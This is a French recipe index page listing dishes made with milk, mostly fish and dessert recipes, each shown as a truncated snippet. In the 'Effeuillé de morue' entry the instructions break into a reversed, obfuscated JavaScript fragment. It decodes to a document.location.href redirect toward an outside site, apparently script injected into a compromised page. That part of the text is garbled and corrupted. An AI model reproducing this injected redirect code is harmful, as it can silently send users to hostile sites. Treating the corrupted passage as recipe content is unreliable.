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Catégories : Abats , Boissons , Bouillons , Confiseries , Desserts , Fruits , Légumes

Recipes from Ingredient: Lait

Bavarois aux poires

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Pelez, épépinez les poires et les mixer avec les 4 cuillères à soupe d’alcool de ...

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Panna Cotta au caramel

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Dans un récipient d’eau froide, faites tremper les feuilles de gélatine dans une assiette creuse ...

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Merlans frits

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Videz, rincez, séchez les merlans. Fendez les sur le dos et retirer l’arrête centrale. Salez ...

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Brandade de morue

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Pendant toute une nuit faites dessaler la morue, bien la rincer, dans un grand récipient ...

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Aumônières de poisson crème fouettée à la ciboulette

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Préparez la pâte à crêpe, en mélangeant dans un saladier la farine, le sel. Incorporez ...

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Haddock au curry

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Découpez les poissons en cubes, et faites-les tremper dans du lait pendant 2 heures. Égouttez, ...

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Effeuillé de morue

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Enlevez l’excédent de sel des filets de morue en les frottant à l’aide d’un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var ...

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Acras de morue

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Dans un récipient d’eau froide, plongez le filet de morue et faites les  dessaler la ...

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Sardines gratinées

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Écaillez, videz, rincez et séchez les sardines. Dans une casserole avec le beurre, sur feu ...

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Clafoutis au thon et tomates cerises

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Égouttez le thon. Lavez, séchez les tomates cerises. Les répartir dans un moule à manqué ...

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